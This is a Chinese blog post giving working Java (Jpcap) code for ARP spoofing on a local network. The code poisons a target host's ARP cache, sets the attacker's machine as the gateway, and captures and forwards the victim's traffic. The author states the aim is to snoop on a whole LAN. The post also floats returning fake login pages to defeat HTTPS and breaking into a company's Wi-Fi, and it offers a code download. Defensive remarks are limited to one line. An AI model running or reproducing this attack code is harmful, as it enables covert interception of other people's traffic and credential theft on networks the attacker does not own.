用Java代碼實現攔截區域網數據包

起因：

      吃飯的時間在想如果區域網內都是通過路由器上網，那如何實現攔截整個區域網的數據包，從而實現某種窺探欲。

思路：

     正常是通過電腦網卡預先設置或分配的IP＋網關對路由器進行通訊，比如訪問百度：

     A主機（指定網關） >> 路由器 >> DNS(域名轉IP) >>  服務端（百度）

     而我需要達到的目的是在， "A主機” 請求"路由器"的時間進行數據包的攔截，並轉發至真正的路由器(轉發目的是為了不斷網，不被直接發現) ,這個時間A主機的請求數據就被我記錄下來了。

 

疑問：

要達到上文所訴目的，需要解決以下三個疑問

     1) A主機是如何跟路由器進行通訊(原理)

     2) 我該如何攔截

     3) 如何利用代碼或工具實現攔截

 

問題1:

        解析：A主機發送數據包肯定需要跟路由器進行交互，那么路由器的地址就一定存儲在A主機的某處地方。這就需要利用到網絡協議的ARP（<這是地址）協議（詳情請打開查看ARP原理）。

        打開命令行窗口，輸入arp -a 查看緩存地址列表，可以看到的是路由器的IP地址跟MAC地址

       

        答案：A主機發送數據包>>尋找路由器地址>>封裝數據包>>路由器

問題2:

       解析：通過問題1我們已經得知A主機是如何跟路由器進行數據包的通信的了。（廣播式獲取路由器IP地址及MAC，然后存儲在ARP緩存列表。廣播式就是整個頻段下都可以看到，例如192.168.1.＊），那我們需要做的就是主動發送一個廣播給A主機，告訴它我們才是路由器。你需要發送數據包到我這里。看下圖(20:f4:1b:70:8:2e 這個是我偽裝的MAC地址)，這樣A主機發送的數據包就到我們的機器里了。同時我們還需網絡轉發（原理自行百度），為什么呢，因為我們需要A主機正常上網。

      

      答案：A主機發送數據包>>偽裝路由器主機>>尋找路由器地址>>封裝數據包>>路由器

問題3:

        解析：想一想用Java寫會順手一些，並且Java有對ARP協議支持的JAR包Jpcap。

        答案：Java利用Jpcap編寫arp攔截。

通過三個問題我們收獲了ARP原理，及Java如何實現數據包攔截(Jpcap.jar+Jpcap.dll)

以上為整體思路，下面就是具體代碼實現了。（客官看懂了嗎？

 

開發環境：

編輯器:intellij idea 15

JDK:1.7

jar:Jpcap.jar

其它:jdk源目錄下放置Jpcap.dll

 

公共參數類

/**
 * Created by duke on 2016/11/16.
 * arp-client
 */
public class Constants
{
    public static  final String version = "0.1";
    public static  final String author = "Duke 西瓜大人";

    /*************************************************************************************
     *                              參數配置                                                        *
     * ***********************************************************************************
     */
    public static String DE_IP = "192.168.1.159";
    public static String DE_MAC = "ac-bc-32-93-97-6d";
    public static String SRC_IP = "192.168.1.1";//
    public static String SRC_MAC = "20-F4-1B-80-08-2E";
    public static int NET_WORK = 0;
    public static int TIME = 2;
}

 

網卡工具類

package util;

import jpcap.JpcapCaptor;
import jpcap.NetworkInterface;
import jpcap.NetworkInterfaceAddress;

/**
 * Created by duke on 2016/11/16.
 * arp-client
 */
public class NetWorkUtil
{
    public static void main(String[] args) {
        getDevice(0);
        System.out.println(">>>>>>>>>>>>>>>>>>>");
        getDevice(1);
    }

    /**
     * 使用String的startsWith函數判斷IP相同的開始部分相同即可
     * @param segment 例如：192.168.1
     * @return
     */
    public static NetworkInterface getDevice(String segment)
    {
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();
        for (int i =0;i<devices.length;i++)
        {
            NetworkInterfaceAddress[] addresses = devices[i].addresses;
            if(addresses[1].address.toString().startsWith(segment)){
                return  devices[i];
            }
        }
        return devices[0];
    }
    public static NetworkInterface getDevice(int network)
    {
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();
        NetworkInterfaceAddress[] addresses = devices[network].addresses;
        NetworkInterface device = devices[network];
        return device;
    }
}

 

ARP測試類

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;

import java.net.InetAddress;
import java.net.UnknownHostException;

/**
 * Created by duke on 2016/11/15.
 * arp-client
 * 對指定主機的攔截
 */
public class ArpTest
{


    public static void main(String[] args) throws Exception {
        sendArp(Constants.DE_IP,Constants.DE_MAC,Constants.SRC_IP,Constants.SRC_MAC,Constants.NET_WORK,Constants.TIME);
    }
    /**
     *  為什么需要IP地址跟MAC地址呢?因為我們需要去對他進行ARP協議的欺騙。
     * @param deip A主機地址（被欺騙的目標IP地址
     * @param deMac A主機MAC地址（被欺騙的目標目標MAC數組
     * @param srcIp 被替換Mac地址的IP地址
     * @param srcMac 假的MAC數組,也就是我們用來捕捉數據包的主機MAC地址。
     * @param network 發送arp的網卡，與被欺騙目標地址需要在同一網段
     * @param time ARP重發間隔時間,不斷發送防止被路由器地址替換
     * @throws Exception
     */
    static void sendArp(String deip,String deMac,String srcIp,String srcMac,int network,int time) throws Exception {
        InetAddress desip = InetAddress.getByName(deip);
        byte[] desmac = stomac(deMac);
        InetAddress srcip = InetAddress.getByName(srcIp);
        byte[] srcmac = stomac(srcMac);
        // 枚舉網卡並打開設備
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();
        NetworkInterface device = devices[network];
        JpcapSender sender = JpcapSender.openDevice(device);
        // 設置ARP包
        ARPPacket arp = new ARPPacket();
        arp.hardtype = ARPPacket.HARDTYPE_ETHER;
        arp.prototype = ARPPacket.PROTOTYPE_IP;
        arp.operation = ARPPacket.ARP_REPLY;
        arp.hlen = 6;
        arp.plen = 4;
        arp.sender_hardaddr = srcmac;
        arp.sender_protoaddr = srcip.getAddress();
        arp.target_hardaddr = desmac;
        arp.target_protoaddr = desip.getAddress();
        // 設置DLC幀
        EthernetPacket ether = new EthernetPacket();
        ether.frametype = EthernetPacket.ETHERTYPE_ARP;
        ether.src_mac = srcmac;
        ether.dst_mac = desmac;
        arp.datalink = ether;
        // 發送ARP應答包
        while (true) {
            System.out.println("send arp  >  "+deip);
            sender.sendPacket(arp);
            Thread.sleep(time * 1000);
        }
    }
    static byte[] stomac(String s)
    {
        byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
        String[] s1 = s.split("-");
        for (int x = 0; x < s1.length; x++)
        {
            mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);
        }
        return mac;
    }
}

 

數據包攔截類

import jpcap.*;
import jpcap.packet.Packet;
import util.NetWorkUtil;

import java.io.IOException;
import java.io.UnsupportedEncodingException;

/**
 * Created by duke on 2016/11/15.
 * arp-client
 */
public class NetWorkIntercept
{
    /*
       攔截網卡數據包
     */
    public static void main(String[] args) throws Exception {
        //請先移步ArpTest運行Main函數進行ARP欺騙（記得修改參數值為你自己測試環境

        //獲取同網段網卡
        NetworkInterface device = NetWorkUtil.getDevice(Constants.NET_WORK);
        //打開網卡
        JpcapCaptor captor = JpcapCaptor.openDevice(device,65535,false,20);

        while (true)
        {
          //獲取流量包，這個時間arp欺詐成功后，該主機的流量包就會通過你的主機網卡發送。
          Packet p = captor.getPacket();
          if(p!=null)
          {
              byte header_byte[] = p.data;
              String header = new String(header_byte,"ISO-8859-1");
              //captor.setFilter("",true); 篩選函數還在研究怎么用舒服  這里約定協議會好用一點
              if(header.contains("qichacha")) //我覺得這種更爽  哈哈哈
              {
                  System.out.println(header);//獲取數據包干一些你該干的事情
                  JpcapSender sender = captor.getJpcapSenderInstance();//獲取
                  sender.sendPacket(p);//數據包發送（
              }
          }

      }

    }
}

 

 

 在完成以上代碼后，我又碰到倆個問題，我的初衷是：“攔截整個區域網的數據包，從而實現某種窺探欲。”

 可是目前關鍵問題是HTTP協議數據包能正常攔截，但是HTTPS是加密的阿！  而現在主流網站都是使用HTTPS加密的，過分（不過可以利用劫持來解決，比如你想登錄企業qq郵箱，攔截到數據包后返回一個假的給你，這種就針對性比較強了）！！！！

 另外一個問題就是我想繼續修改傳入傳出的數據包。（留到下一步解決把，畢竟工作也挺多事情的 哈哈哈~

 這個問題也暴漏了公司內部安全漏洞，試想一下，我蹲在你家公司門口，掃你家公司WIFI，一直掃到密碼進去 如果沒有反ARP措施，那不是隨隨便便的就能拿到相當多的數據了。

 

 代碼下載：https://pan.baidu.com/s/1bpECV4V （包括引用的jar包跟dll

 

查閱的相關文檔：

http://baike.baidu.com/link?url=cUC4NJGprFT40oQ01TsEHr1XnyChb1-AoQx_gXn7s6dnxszgmJUJ6ZfQtKXLkHeWs8cRJHETFezgaVvWQ24Qo_

http://blog.csdn.net/jiasike/article/details/51026905

http://3y.uu456.com/bp_83y3a1vqlk01k8300stp_1.html